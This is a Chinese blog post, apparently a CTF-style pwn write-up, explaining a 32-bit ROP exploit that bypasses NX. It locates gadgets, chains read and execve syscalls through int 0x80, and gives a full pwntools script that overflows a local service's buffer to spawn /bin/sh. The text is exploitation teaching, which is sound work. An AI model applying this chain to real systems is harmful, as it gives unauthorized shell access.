博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
pwn-ROP
阅读量:5213 次
发布时间:2019-06-14

本文共 1383 字,大约阅读时间需要 4 分钟。

首先对目标文件checksec,提示NX  enabled,看看其解释

NX/DEP(堆栈不可执行)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

打开qira调试一下,报segmentation fault,有溢出点,并且能看到覆盖buffer到return需要32字节

ROP其实就是面向return的编程,核心是系统调用,下面用ROPgadget寄存器指令,并保存成txt方便查找

从eax开始 找到只有pop eax ; ret 的或者包含多个寄存器的指令,不要有其他字符指令

例如:

然后依次寻找ebx,ecx,edx

由于在这没找到ecx,但是找到ebx和ecx一起出现的,也可以使用,之后给这四个寄存器赋值,使其进行系统调用中的read函数即:

四个参数分别是eax,ebx,ecx,edx,eax赋值3,ebx赋值0,ecx赋值一段可写空间,edx赋值空间长度

接下来需要找可写空间,这里使用的gdb中vmmap命令

因为这些区域不会完全被利用,我们用0x080e9f40的最后100字节 即0x080ec304 - 100,赋值给ecx,

之后是启用系统调用的关键int80系统中断,当执行此指令以后,即可使用系统函数

还是用ROPgadget的一条命令来查找

得到int80的地址

到这里,我们已经成功调用read函数,接下来要传给他一个shell,并且执行,仍需要系统调用中的execve

重复上面步骤按照参数表赋值即可

最终exp

1 from pwn import * 2  3 r=remote('127.0.0.1',4000) 4  5  6 pop_eax_ret = 0x080bae06 7 pop_ecx_ebx_ret = 0x0806e851 8 pop_edx_ret = 0x0806e82a 9 buf = 0x080ec304 -10010 int_0x80_ret = 0x0806eef011 12 rop=[13         pop_eax_ret,14         3,15         pop_ecx_ebx_ret,16         buf,0,17         pop_edx_ret,18         50,19         int_0x80_ret,20         pop_eax_ret,21         0xb,22         pop_ecx_ebx_ret,23         0,buf,24         pop_edx_ret,25         0,26         int_0x80_ret27 28 29 ]30 31 32 r.sendline('a'*32+ flat(rop))33 sleep(3)34 r.sendline('/bin/sh\x00')35 36 37 r.interactive()

 

执行exp2.py,已经可以运行命令

 

转载于:https://www.cnblogs.com/Aiden-/p/9078920.html

你可能感兴趣的文章
图像处理中双线性插值
查看>>
RobHess的SIFT代码解析之RANSAC
查看>>
bzoj3944:Sum
查看>>
UVA 10859 - Placing Lampposts 树形DP、取双优值
查看>>
03 线程池
查看>>
201771010125王瑜《面向对象程序设计(Java)》第十三周学习总结
查看>>
java中内部类的讲解
查看>>
mini2440加载NFS出错解决方法
查看>>
Asp.netMVC中Ajax.BeginForm上传文件
查看>>
手机验证码执行流程
查看>>
python 基础 ----- 变量
查看>>
查看系统事件日志
查看>>
VK Cup 2016 - Qualification Round 2 B. Making Genome in Berland
查看>>
Eclipse 一直提示 loading descriptor for 的解决方法
查看>>
设计模式课程 设计模式精讲 2-2 UML类图讲解
查看>>
为块级元素添加链接
查看>>
Silverlight 的菜单控件。(不是 Toolkit的)
查看>>
:hover 鼠标同时触发两个元素变化
查看>>
go语言学习十三 - 相等性
查看>>
Idea 提交代码到码云(提交到github也大同小异)
查看>>